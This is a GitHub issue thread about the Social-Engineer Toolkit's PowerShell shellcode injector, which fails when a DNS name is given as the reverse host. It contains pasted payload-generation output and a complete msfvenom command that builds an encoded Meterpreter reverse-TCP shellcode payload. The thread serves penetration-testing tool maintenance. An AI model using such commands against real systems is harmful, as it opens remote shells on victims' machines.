trustedsec / social-engineer-toolkit

The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.
10.69k stars 2.74k forks source link

Powershell Alphanumeric Shellcode Injector DNS-Error #344

Closed AngryBananer closed 7 years ago

AngryBananer commented 7 years ago

Hello, i love your tool, but sometimes when i enter a DNS as reverse host, i get the following error. When i try to execute it on a Windows machine, the message "Poweshell stopped working" pop's up.

Enter the IPAddress or DNS name for the reverse host: hostname.ddns.net set:powershell> Enter the port for the reverse [443]:442 [] Prepping the payload for delivery and injecting alphanumeric shellcode... [] Generating x86-based powershell injection code... [] Reverse_HTTPS takes a few seconds to calculate..One moment.. No encoder or badchars specified, outputting raw payload Payload size: 353 bytes Final size of c file: 1508 bytes [!] Something went wrong, printing error: invalid literal for int() with base 10: 'hostname' [] Finished generating powershell injection bypass. [] Encoded to bypass execution restriction policy... [] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/

With a normal IP everything works fine. I'm looking forward to a fix and sorry for my bad english!

binarymist commented 7 years ago

+1 Seems to be related to #276?

trustedsec commented 7 years ago

Fixed on the latest version - this was due to updating the codebase to use reverse_https by default which does not do byte string conversion of ipaddresses. Thanks for the report! Should be updating it here when I work through the other bugs in the next few minutes.

binarymist commented 7 years ago

Doesn't work using DNS either. I'm using 7.4.3 from Kali. https://github.com/nixawk/psmsf/ was the only payload containing windows/meterpreter/reverse_tcp shellcode that seemed to work, I'm pulling all the related payloads apart to work out why.

So are you going to be providing the option to choose reverse_tcp as well? That payload should be similar to that generated by:

msfvenom --payload windows/meterpreter/reverse_tcp LHOST=<listener-ip> LPORT=4444 StagerURILength=5 StagerVerifySSLCert=false --encoder x86/shikata_ga_nai --arch x86 --platform windows --smallest --format c

Which works within this (https://github.com/nixawk/psmsf/blob/master/psmsf#L113) payload.